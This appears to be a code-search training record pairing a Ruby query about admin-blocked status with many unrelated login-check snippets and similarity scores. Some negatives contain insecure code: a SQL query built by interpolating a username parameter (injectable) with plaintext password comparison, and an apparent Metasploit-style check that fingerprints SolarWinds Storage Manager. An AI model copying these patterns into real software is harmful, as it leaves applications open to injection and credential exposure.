true\n end", "def verify_credentials\n\t\tif (has_valid_credentials) then\n\t\t logger.error(\"VC: Logged in\")\n\t\telse\n\t\t # username is nil, just clobber login_time\n\t\t logger.error(\"VC: Not logged in, redirecting to login\")\n\t\t clear_session()\n\t\t redirect_to :controller => 'application', :action => 'index'\n\t\tend\n\tend", "def login_validate(status)\n if status.empty? \n puts \"Nombre o correo electronico no valido\"\n elsif status.count == 1\n puts \"Login exitoso, Bienvenido\"\n end\n end", "def require_login\n end", "def alive?\n @session && @login_info\n end", "def checklogin\n\t\t@login = User.where(\"username = '#{params[:username]}'\").first\n\n\t\tp params, @login\n\n\t\tif @login && @login.password == params[:password]\n\t\t\tsession[:user_id] = @login.id\n\t\telse\n\t\t\tflash[:notice] = \"YOU ARE AN IMPOSTER\"\n\t\t\t@login = nil\n\t\t\tredirect_to '/'\n\t\tend\n\tend", "def _is_login\n p session[:user]\n session[:user] ? true : false\n end", "def login\n # puts \"UserNAme #{username}.\"\n self.login_username_element.when_present(30)\n # expect(self.login_username?).to be_truthy\n self.login_username= DT['ENV']['Username']\n self.login_password= DT['ENV']['Password']\n self.login_login\n end", "def require_login?\n !(Jiralicious.username.empty? && Jiralicious.password.empty?) && !alive?\n end", "def login?\n if login\n return true\n else\n return nil\n end\n end", "def logged_in?\n !!current_chef\n end", "def login\n\t\t\tresponse = @http.get(\"/authentication/whoami\")\n\t if(response.code == '200')\n\t set_cookie(response)\n\t puts \"\"\n\t puts \"================\"\n\t puts \"login\"\n\t login_response = @http.post(\"/authentication/login\",\"username=#{@username}&password=#{@password}&skin=#{@skin}&account=#{@account}\",{'Cookie' => @cookies.to_s})\n\t check_cookie(login_response)\n\t login_check(login_response)\n\t puts \"--------\"\n\t else\n\t puts \"Error invalid host #{response.message}\"\n\t abort #if the login site is invalid, then abort\n\t end \n\t\tend", "def check_logged_in\n service_response = success\n render_api_response(service_response)\n end", "def verify_admin_credentials\n\t\tif (has_valid_admin_credentials) then\n\t\t logger.error(\"VC: Logged in or not administrator\")\n\t\telse\n\t\t # username is nil, just clobber login_time\n\t\t logger.error(\"VC: Not logged in or not administrator, redirecting to login\")\n\t\t clear_session()\n\t\t redirect_to :controller => 'application', :action => 'index'\n\t\tend\n\tend", "def online? login\n return false if !@usrData\n return true if @usrData[login]\n false\n end", "def login_check\n if session[:user_id].present?\n unless (controller_name == \"user\") and [\"first_login_change_password\",\"login\",\"logout\",\"forgot_password\"].include? action_name\n user = User.active.find(session[:user_id])\n \n \n end\n end\n end", "def run()\n login()\n end", "def check_if_login_required\r\n require_login if RDM_LOGIN_REQUIRED\r\n end", "def logged_in?\n Watir::Wait.until { logged_in_element.exists? }\n end", "def check_login\n\t\tif current_user.nil?\n\t\t\trender :json => { :message => 'Faça o seu login para continuar' }, status: 401\n\t\tend\n\tend", "def connection_status_login_request; end", "def capable_login_auth?; end", "def check_user_status\n user = current_user\n if user && user.status != 2\n redirect_to signupcode_settings_path\n end\n end", "def check_login\n unless is_logged_in?\n # all cool\n redirect_to new_session_path\n end\n end", "def check_login\n user = current_user\n if user.nil?\n if params[:controller] != \"login\"\n session[:previous_url] = request.fullpath\n redirect_to \"/login\"\n return\n end\n else\n if params[:controller] != \"firstlogin\" &&\n params[:controller] != \"login\"\n if user.is_deleted? || !user.is_firstlogged?\n redirect_to \"/login\"\n return\n end\n end\n end\n end", "def check_login\n\n if User.where({ :username => params[:username] }).first\n found_user = User.where({ :username => params[:username] }).first\n\n if found_user && found_user.password == params[:password]\n session[:property_admin_id] = found_user.id\n flash[:success] = \"You successfully logged in!\"\n redirect_to admin_index_path\n return\n else\n flash[:error] = \"Wrong password, please try again.\"\n redirect_to admin_login_path\n return\n end\n \n else\n\n flash[:error] = \"User doesn't exist, please try again.\"\n redirect_to admin_login_path\n return\n\n end\n\n end", "def check_login\n action = \"check_login\"\n url = build_url(action)\n\n # Create data for post\n data = post_data(action)\n\n # The raw should be the terminal number on success\n response = parse(ssl_post(url, data)) { |raw| { code: raw[0..6] } }\n success = response[:code] == @options[:terminal_no] ? true : false\n Response.new(\n success,\n \"\",\n response,\n authorization: \"\",\n test: test?\n )\n end", "def check_authenticated\n @logged_in = session[:logged_in]\n end", "def checkLogin\n\t\t# Check login status\n\t\tif(!self.isLoggedIn)\n\t\t\t# user is not logged in redirect him to Login Activity\n\t\t\ti = android.content.Intent.new\n\t\t\ti.setClassName($package_name, 'org.ruboto.session.authentication_app.AuthenticationAppActivity')\n\t\t\t@activity.startActivity(i)\n\t\t\t@activity.finish()\n\t\tend\n\tend", "def execLogin\n timer = WebCrawler::startTime\n login=true\n begin\n if @vars[:loginPage]=='' then return nil end\n @session.visit @vars[:loginPage]\n @session.driver.find_css(@vars[:usernameInput]).first.set @vars[:username]\n @session.driver.find_css(@vars[:passwordInput]).first.set @vars[:password]\n if @vars[:captcha]!=''\n @session.driver.find_css(@vars[:captchaInput]).first.set @vars[:captcha]\n end\n @session.driver.find_css(@vars[:loginSubmit]).first.click\n rescue Selenium::WebDriver::Error::WebDriverError ,\n Selenium::WebDriver::Error::UnknownError => e\n WebCrawler::logError 'webcrawler.driver', e.message\n login=false\n rescue => e\n WebCrawler::logError 'webcrawler.login', e.message\n login=false\n end\n WebCrawler::logTime timer, 'login.visit', @vars[:loginPage]\n if ((@vars[:sleepLogin]).to_i)>0\n sleep(((@vars[:sleepLogin]).to_i.to_f)/1000)\n end\n return login\n end", "def can_login?\n\t\t\t!disabled? && !locked?\n end", "def checklogin\n if user_signed_in? #&& !current_user.admin?\n if session[:redirectcheck] == true\n sign_out_and_redirect(current_user)\n elsif session[:netidcheck] != true\n session[:redirectcheck] = true\n redirect_to \"https://oauth.oit.duke.edu/oauth/authorize.php?client_id=organizerish&redirect_uri=https%3A%2F%2Forganizerish.herokuapp.com%2Fnetidsignin&state=b7b486e7002feb52a588853507b403aa0729fbd8f4576105&response_type=token\" \n end\n end\n end", "def user_login?\n\t\treval = user_info[:uid] > 0 ? true : false\n\t\tif reval\n\t\t\tuser_session_update user_info[:sid], user_info[:uid]\n\t\tend\n\t\treval\n\tend", "def logged_in?\n end", "def web_login\n\t\temployee = Employee.find(params[:IDnum].to_i)\n if employee && employee.authenticate(params[:password])\n if employee.status = \"Active\"\n \tlog_in employee\n \t\tmsg = { :status => \"Success\", :key => params[:key] }\n \t\trender :json => msg, status: :accepted\n else\n msg = { :status => \"ERROR\", :message => \"App access not granted. Please try again later or contact Human Resources.\" }\n render :json => msg, status: :forbidden\n end\n else\n msg = { :status => \"ERROR\", :message => \"Invalid ID number and password combination\" }\n render :json => msg, status: :forbidden\n end\n\tend", "def is_login?\n !session[:user_id].nil?\n end", "def login_required\n logged_in? ? true : access_denied\n end", "def logged_in?\n # Are we on the login page already?\n if username_field.present?\n # Yes! So, we're not logged in...\n false\n # No, the Kuali header is showing...\n elsif login_info_div.present?\n # So, is the user currently listed as logged in?\n return login_info_div.text.include? @user_name\n else # We're on some page that has no Kuali header, so...\n begin\n # We'll assume that the portal window exists, and go to it.\n on(BasePage).return_to_portal\n # Oops. Apparently there's no portal window, so...\n rescue\n # We'll close any extra tabs/windows\n on(BasePage).close_children if @browser.windows.size > 1\n # And make sure that we're using the \"parent\" window\n @browser.windows[0].use\n end\n # Now that things are hopefully in a clean state, we'll start\n # the process again...\n logged_in?\n end\n end", "def login; end", "def login\n end", "def check_authentication\n authenticate_user\n end", "def check\n api.get_user\n end", "def login_check\n if current_user\n unless Whitelist.exists?(domain: current_user.email.match(/@.*/).to_s)\n redirect_to('/not_allow')\n end\n else\n redirect_to('/')\n end\n end", "def test05_ValidLogin_TC_24862\n\t\t$browser.cookies.clear\n\t\t$browser.goto($patch_login)\n\t\t$email.set(\"#{$user_master_email}\")\n\t\t$password.set(\"#{$user_master_password}\")\n\t\t$sign_in_button.click\n\t\tsleep 4\n\t\t\n\t\tbegin \n\t\t\tassert $logged_in_avatar.exists?\n\t\t\trescue => e\n\t\t\tputs e\n\t\t\tputs \"LS2T2: FAILED! User not logged in.\"\n\t\tend\t\n\tend", "def login_required\n raise Forbidden unless @current_member #ログイン状態でないとForbiddenを発生させる\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def admin_logged_in?\n #if session[:logged_in] == true && (session[:host_id] == 670999089 || session[:host_id] == 753452019 || session[:host_id] == 100000182246137)\n if session[:logged_in] == true && User.find(session[:id]).admin == true\n true\n else\n false\n end\n\n end", "def checklogin\n\t#check session validity\n\tredirect_to \"/my_test\"\nend", "def logged_in\r\n end", "def test_login\n if @auth!='' then\n result = do_request(json_obj('user.checkauth',\n {'sessionid'=>@auth}))\n if !result['result'] then\n @auth=''\n return false #auth hash bad\n end\n return true #auth hash good\n else\n return false\n end\n end", "def check_login\n unless logged_in?\n flash[:notice] = \"Please login.\"\n redirect_to login_path\n end\n end", "def check_login\n unless logged_in?\n flash[:notice] = \"Please login.\"\n redirect_to login_path\n end\n end", "def login_check(username, password)\n sql = <<~SQL\n SELECT * FROM users\n WHERE username = $1 AND password = $2;\n SQL\n check = query(sql, username, password)\n if check.ntuples == 1\n @user_id = check.tuple(0)[\"id\"]\n @username = check.tuple(0)[\"username\"]\n true\n else \n false \n end\n end", "def login_required\n return true if logged_in?\n store_location\n access_denied and return false\n end", "def login_required\n username, passwd = get_auth_data\n logged_in? && authorized? ? true : access_denied\n end", "def verifica_logado\n sleep(3)\n if @browser.table(:class, \"f\").exist? == true\n if @browser.table(:class, \"f\").contains_text(\"©2011 Google\")\n @browser.text_field(:name, 'Email').set($login_user)\n if ENV['FIREWATIR']\n @browser.text_field(:name, \"Passwd\").set($password_user)\n else\n @browser.password(:name, \"Passwd\").set($password_user)\n end\n @browser.button(:name, 'signIn').click\n else\n end\n elsif\n if @browser.div(:class, \"glb-bloco layout-login\").exists? ==true\n @browser.text_field(:name, \"login-passaporte\").set(\"teste_timeinfra@corp.globo.com\")\n if ENV['FIREWATIR']\n @browser.text_field(:name, \"senha-passaporte\").set($password_user)\n else\n @browser.password(:name, \"senha-passaporte\").set($password_user)\n end\n @browser.button(:class, \"botao-acessar\").click\n end\n else\n end\n sleep(1)\nend", "def successful_login!\n unthrottle_user\n clear_bad_login_counter\n end", "def login\n puts \"Login successfull\"\n end", "def check_logged_in\n unless current_user\n redirect_to '/login'\n end\n end", "def http_auth_login\n # FIXME: Implement\n end", "def my_login_required\n login_required unless User.count==0\n end", "def check_logged\n if not is_logged\n halt(403, 'You must login first')\n end\nend", "def connection_status_mcnet_login; end", "def check_session\n unless current_user\n render :json => { :status => \"unauthroized\" }, :status => :unauthorized\n end\n end", "def login\n\n end", "def login\n\n end", "def check_if_login_required\r\n require_login if $RDM_LOGIN_REQUIRED\r\n end", "def logs_in?(user, password)\n \n @http = (@use_ssl? ? Net::HTTPS : Net::HTTP).new(@server, (@use_ssl ? 443 : 80))\n \n with_viewstate_and_connection(@http) do | payload |\n login_form_values = {\n \"txtUserName\" => user.to_s,\n \"txtUserPass\" => password.to_s,\n \"cmdLogin\" => \"cmdLogin\",\n \"listSpeed\" => \"Broadband\",\n \"__VIEWSTATE\" => payload,\n }\n \n begin\n @http.start do |http|\n form_post = Net::HTTP::Post.new(LOGIN_URL)\n form_post.set_form_data(login_form_values, '&')\n response = http.request(form_post); response.value\n end\n rescue Net::HTTPRetriableError => e\n if e.message =~ /302/ # RWW will return a redirect if the user is found\n return true\n end\n end\n return false\n end\n end", "def login\n\t\tbegin\n\t\t\tr = execute(make_xml('LoginRequest', { 'sync-id' => 0, 'password' => @password, 'user-id' => @username }))\n\t\trescue APIError\n\t\t\traise AuthenticationFailed.new(r)\n\t\tend\n\t\tif(r.success)\n\t\t\t@session_id = r.sid\n\t\t\treturn true\n\t\tend\n\tend", "def login_faild\n\t\treturn error_log errors:{unauthenticated:[\"Incorrect User name and password\"]}\n\tend", "def check_login\n redirect_to root_url, alert: \"You must login to view this page.\" if current_user.nil?\n end", "def check_login\n if logged_in?\n if current_user.is_verified == false\n if current_user.biz?\n flash[:notice] = \"For security reasons, please verify your email address before you continue\"\n else\n flash[:notice] = \"Agree to Terms and Conditions to Proceed\"\n end\n redirect_to root_path\n end\n else\n flash[:notice] = \"Please login first\"\n redirect_to root_path\n end\n end", "def check_authentication\n unless logged_in?\n flash[:warning] = \"You must be logged in to view the requested page.\"\n request.env[\"HTTP_REFERER\"] ? (redirect_to :back) : (redirect_to :action => \"index\", :controller => \"site\")\n return false\n end\n end", "def check_if_login_fields_exists\n wait_for_element_exists(user_name_field)\n wait_for_element_exists(password_field)\n end", "def check\r\n\t\tres = send_request_raw({\r\n\t\t\t'method' => 'GET',\r\n\t\t\t'uri' => '/LoginServlet'\r\n\t\t})\r\n\r\n\t\tif res and res.body =~ /\\<title>\\SolarWinds \\- Storage Manager\\<\\/title\\>/ and\r\n\t\t res.body =~ /\\<img style=\"padding\\-top:30px;\" src=\"\\/images\\/logo_solarwinds_login\\.png\" width=\"163\" height=\"70\" alt=\"SolarWinds Storage Manager\"\\>/\r\n\t\t\treturn Exploit::CheckCode::Detected\r\n\t\telse\r\n\t\t\treturn Exploit::CheckCode::Safe\r\n\t\tend\r\n\tend", "def logged_in?\n #return true if !session[\"app_user\"].nil? && session[\"app_user\"].id != -1\n validate_token\n return true if !session[\"app_user\"].nil? && session[\"app_user\"].id != -1 \n return false\n end" ]
[ "0.7185377", "0.6989921", "0.68386126", "0.6787634", "0.67367744", "0.67194325", "0.6694572", "0.66608727", "0.6625367", "0.6624686", "0.6530265", "0.6527048", "0.64604926", "0.64495224", "0.6424884", "0.64090437", "0.64090437", "0.6397145", "0.6363583", "0.6355374", "0.6350701", "0.63374853", "0.63209474", "0.631955", "0.6310697", "0.63061655", "0.63049644", "0.62779176", "0.62564427", "0.6255521", "0.6253357", "0.62444437", "0.621874", "0.6215023", "0.6207481", "0.62026733", "0.61968213", "0.6195387", "0.61833954", "0.61739784", "0.6171408", "0.6166539", "0.6164501", "0.6148764", "0.61426437", "0.61301863", "0.6125379", "0.6124807", "0.61245394", "0.6122397", "0.6116217", "0.61128837", "0.61088145", "0.61069566", "0.60991293", "0.6092977", "0.60913455", "0.6089735", "0.6085351", "0.60826886", "0.60819966", "0.6076447", "0.6067808", "0.6067808", "0.6067808", "0.6067808", "0.6067808", "0.6067808", "0.6067808", "0.6067808", "0.6067808", "0.60584646", "0.60533285", "0.6049188", "0.60440814", "0.60194254", "0.6017976", "0.60140896", "0.6008471", "0.6008294", "0.600795", "0.60075337", "0.60032743", "0.59984475", "0.5988204", "0.59871095", "0.5984561", "0.59803843", "0.5974027", "0.5972499", "0.5972499", "0.59722686", "0.597013", "0.5968569", "0.5967672", "0.59676105", "0.5964148", "0.596216", "0.59619164", "0.59591943", "0.59572613" ]
0.0
-1
Blocks an admin from logging into the admin console
def setUserAdminBlocked(block) @ADMIN_PROPS["BLOCKED"] = block @ADMIN_ACCESS_CONTROL.setUserField(@USER_NAME, "BLOCKED", block) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def admin(&block)\n block.call if logged_in?\n end", "def admin_logged_in!\n return if current_admin.present?\n \n flash[:alert] = \"You must be signed in as an administrator\"\n redirect_to login_url\n end", "def logged_in_admin\n unless logged_admin_in?\n flash[:danger] = \"Access denied.\"\n redirect_to root_path\n end\n end", "def autenticathe_admin!\n unless someone_is_logged_in? && is_admin_user?(current_user)\n redirect_to root_path\n end\n end", "def admin_user\n unless admin_user?\n redirect_to login_url\n end\n end", "def admin_user \n if (!current_user.lunches_admin?) \n flash[:alert] = 'You not allowed to edit menu.'\n \n redirect_to(root_url)\n end\n end", "def logged_in_admin\n unless admin?\n # show a flash message on the page\n flash[:danger] = \"Non sei autorizzato a visitare questa pagina\"\n # redirect user to home page\n redirect_to root_path\n end\n end", "def authenticate_admin\n unless current_user.admin?\n redirect_to site_path, alert: 'You do not have permission to access that page.' and return\n end\n end", "def admin_user\n unless current_user && current_user.admin?\n redirect_to login_url, notice: \"admin can only do this action.\" \n end\n end", "def be_admin\n if current_user.switch_to(\"admin\")\n flash[:notice] = \"You have now an 'admin' role\"\n else\n flash[:error] = \"You are not authorized to have a 'admin' role\"\n end\n redirect_to( request.env[\"HTTP_REFERER\"])\n end", "def allow_if_admin\n unless is_admin?\n flash[:danger] = \"Administration permissions needed to access to this page\"\n redirect_to new_user_session_path\n end\n end", "def admin!\n redirect_to root_path, alert: \"Not authorized\" and return unless is_admin?\n end", "def admin_user\n redirect_to(login_path) unless current_user.is_admin?\n end", "def admin_required\n if current_user && current_user.admin\n return\n end\n redirect_to \"/login\", notice: 'Logga in som administratör.'\n end", "def admin_user\n\t unless current_user.admin?\n flash[:danger] = \"Log in as Admin.\"\n redirect_to(root_url)\n\t end \n\t end", "def admin\n\t\tauthenticate_user!\n\t if current_user.admin\n\t\t return\n\t else\n\t\t redirect_to root_url\n\t end\n\tend", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend", "def admin_user\n redirect_to root_url, notice: \"You do not have permission to view or edit this information.\" unless current_user.admin?\n end", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t end", "def admin_user\n redirect_to(root_url) unless user_signed_in? && current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless user_signed_in? && current_user.admin?\n end", "def admin_user\n unless ( logged_in? && current_user.admin? )\n store_location\n flash[:danger] = \"У Вас недостаточно прав для выполнения этой операции.\"\n redirect_to root_url\n end \n # redirect_to(root_url) unless current_user.admin?\n end", "def logged_in_admin\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to admin_login_path\n end\n end", "def admin_user\n redirect_to(root_url) and flash[:danger] = \"Only admins can do that!\" unless current_user.admin?\n\n end", "def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend", "def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend", "def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend", "def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end", "def admin_auth\n\t\tif signed_out?\n deny_access \"You must sign in first.\"\t\t\t\n\t\telse\n\t deny_access \"You must be an admin to perform that action.\" unless current_user.admin\n\t\tend\n end", "def admin_user\n\t\tunless admin? \n\t\t\tflash[:danger] = \"Only administrators have access to this page\"\n\t\t\tredirect_back_or(root_url) \n\t\tend\n\tend", "def admin_login\n self.current_admin = Admin.find_by_id(session[:admin]) if session[:admin]\n end", "def admin_only\n if !Volt.current_user.admin\n redirect_to '/login'\n end\n end", "def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end", "def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end", "def admin_user\n unless current_user.is_admin?\n flash[:danger] = \"Keine Berechtigung.\"\n redirect_to(root_url)\n end\n end", "def admin_user\n unless current_user.is_admin?\n flash[:danger] = \"Keine Berechtigung.\"\n redirect_to(root_url)\n end\n end", "def authorize_admin!\n\t\tredirect_to new_admin_session_path unless current_admin\n\tend", "def admin_user\n redirect_to(root_path) unless is_admin?\n end", "def admin_user\n unless logged_in? && current_user.admin?\n redirect_to root_url\n end\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\n end" ]
[ "0.7480928", "0.7436552", "0.74324065", "0.7419343", "0.73951524", "0.73878455", "0.7374202", "0.7355781", "0.7353699", "0.7292275", "0.72839475", "0.7269607", "0.72675496", "0.72612345", "0.72612303", "0.72572404", "0.7248248", "0.7248248", "0.72378033", "0.72229236", "0.72101057", "0.72101057", "0.7198659", "0.7196565", "0.71903855", "0.71894425", "0.71894425", "0.71894425", "0.7187465", "0.7187465", "0.7187465", "0.7187465", "0.718625", "0.7183531", "0.71834755", "0.71786654", "0.7173596", "0.7173596", "0.7168885", "0.7168885", "0.7164019", "0.71589434", "0.7152973", "0.715148", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755", "0.71514755" ]
0.0
-1
Checks the users admin instance login status
def isUserAdminBlocked if(@ADMIN_PROPS != nil) amblocked = @ADMIN_PROPS["BLOCKED"] return (amblocked == nil && amblocked == "true") else return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_admin_status\n if current_user.nil? || !current_user.admin?\n flash[:alert] = \"Access denied. Please login as an admin user\"\n redirect_to root_url\n end\n end", "def check_admin_status\n if current_user.nil? || !current_user.admin?\n flash[:alert] = \"Access denied. Please login as an admin user\"\n redirect_to root_url\n end\n end", "def admin?\n if self.login == \"admin\"\n return true\n else\n return false\n end\n end", "def verify_admin_credentials\n\t\tif (has_valid_admin_credentials) then\n\t\t logger.error(\"VC: Logged in or not administrator\")\n\t\telse\n\t\t # username is nil, just clobber login_time\n\t\t logger.error(\"VC: Not logged in or not administrator, redirecting to login\")\n\t\t clear_session()\n\t\t redirect_to :controller => 'application', :action => 'index'\n\t\tend\n\tend", "def admin?\n return false\n # return (session[:user_id] && User.find(session[:user_id])[:login] == '') ? true : false\n end", "def verify_admin\n admin_is_logged_in? || not_found\n end", "def admin?\n logged_in? && current_user.login == \"ej0c\"\n end", "def check_admin\n if current_user && current_user.admin\n logger.info \"[auth] Allowed for #{current_user.email}\"\n true\n else\n logger.info (\"[auth] Access Denied\")\n redirect_to new_user_session\n end\n end", "def check_admin_login\n\n if logged_in?\n\n unless current_user.is_admin?\n\n flash[:danger] = \"Access denied. Please log in as Admin.\"\n\n redirect_to userkeys_url\n\n end\n\n else\n\n access_denied\n\n end\n\n end", "def check_if_admin\n unless current_user.admin\n redirect_to \"/login\"\n end\n end", "def admin_logged_in?\n #if session[:logged_in] == true && (session[:host_id] == 670999089 || session[:host_id] == 753452019 || session[:host_id] == 100000182246137)\n if session[:logged_in] == true && User.find(session[:id]).admin == true\n true\n else\n false\n end\n\n end", "def admin?\n return !new_record? && login == 'admin'\n end", "def admin_user?\n session[:user][:uid] == APP_CONFIG[:admin]\n end", "def admin_signin_status\n unless user_signed_in? && is_admin?\n redirect_to root_url\n end\n end", "def admin_logged_in?\n User.admin_logged_in?\n end", "def admin_logged_in?\n User.admin_logged_in?\n end", "def is_admin?\n if login == \"ankit\"\n return true\n else\n return false\n end\n end", "def check_admin\n # using the function above by grabbing the id\n @current_user = find_current_user\n # cross checking to see if user is also an admin\n unless @current_user.present? and @current_user.is_admin?\n #they're find so no additional code needed\n #if they're not admin\n redirect_to root_path\n end\n end", "def check_if_admin\n if(is_admin?)\n return true\n else\n flash[:notice] = 'You need to be signed in to perform that action'\n redirect_to :back\n end\n end", "def admin_logged_in?\n !current_admin.nil?\n end", "def admin_member\n if !logged_in?\n flash[:notice] = \"Please log in first.\"\n redirect_to login_url\n else\n if !current_user_admin?\n flash[:notice] = \"Please log in as Admin.\"\n redirect_to login_url\n else \n true\n end\n end\n end", "def check_admin\n redirect_to new_admin_session_path unless is_admin?\n end", "def admin_loggedin?\r\n @logged_in_user and @logged_in_user.admin?\r\n end", "def check_admin\n\t\tif current_user && current_user.role == 2\n\t\telsif current_user && current_user.role != 2\n\t\t\tredirect_to buildings_url, notice: 'You are not authorized'\n\t\telse\n\t\t\tredirect_to buildings_url, notice: 'You are not logged in'\n\t\tend\n\tend", "def check_admin\n if authenticate_user! && current_user.admin\n return true\n else\n redirect_to \"/kopis/new\"\n end\n end", "def admin?\n return false unless authenticated?\n User.exists?(cas_username: session['cas']['user'])\n end", "def check_admin\n @user = find_current_user\n\n unless @user.present? and @user.is_admin?\n redirect_to root_path\n end\n end", "def verify_is_admin\n (current_user.nil?) ? redirect_to(new_user_session_path) : (redirect_to(new_user_session_path) unless current_user.admin?)\n end", "def admin_logged_in?\n ret=false\n if logged_in?\n #puts \"admin_connected: connected is_admin=\"+@current_user.is_admin?.to_s\n if current_user.is_admin?\n ret = current_user.is_admin?\n end\n end\n ret\n end", "def admin?\n\t\tuser_session.admin?\n\tend", "def authenticate_admin!\n current_user.is_admin? \n end", "def admin?\n User.admin_logged_in?\n end", "def admin_login\n self.current_admin = Admin.find_by_id(session[:admin]) if session[:admin]\n end", "def is_admin?\n return false unless logged_in?\n user = User.find_by_id(current_user)\n user.userstatus.status == \"admin\" ? true : false\n end", "def admin_logged_in?\n\t\tret=false\n\t\tif logged_in?\n\t\t\t#puts \"admin_connected: connected is_admin=\"+@current_user.is_admin?.to_s\n\t\t\tif current_user.is_admin?\n\t\t\t\tret = current_user.is_admin?\n\t\t\tend\n\t\tend\n\t\tret\n\tend", "def check_login_status\n # If user hasn't logged in\n unless logged_in?\n # Show reminder message\n flash[:info] = \"Log in to continue.\"\n\n # Redirect user to login page\n redirect_to login_url\n end\n end", "def is_admin?\n if valid_session?\n current_user.admin == true\n end\n end", "def valid_admin_user\n admin_workspace = ScAdmin.find_by_workspace_id(current_workspace_member.workspace.id)\n admin_user = admin_workspace.user_sc_admins.find(:first, :conditions => {:user_id => current_user.id})\n if !admin_user\n redirect_to scratch_user_path(current_user)\n end\n end", "def admin_logged_in?\n !current_admin_user.nil?\n end", "def check_admin\n return redirect_to user_dashboard_path unless current_user.is_admin?\n end", "def admin_user\n # get current user for session and check if they are an administrator\n check_admin_user = current_user\n return check_admin_user.admin?\n end", "def admin_verify\n authenticate_userlogin!\n # if not, redirect to register a user\n redirect_to 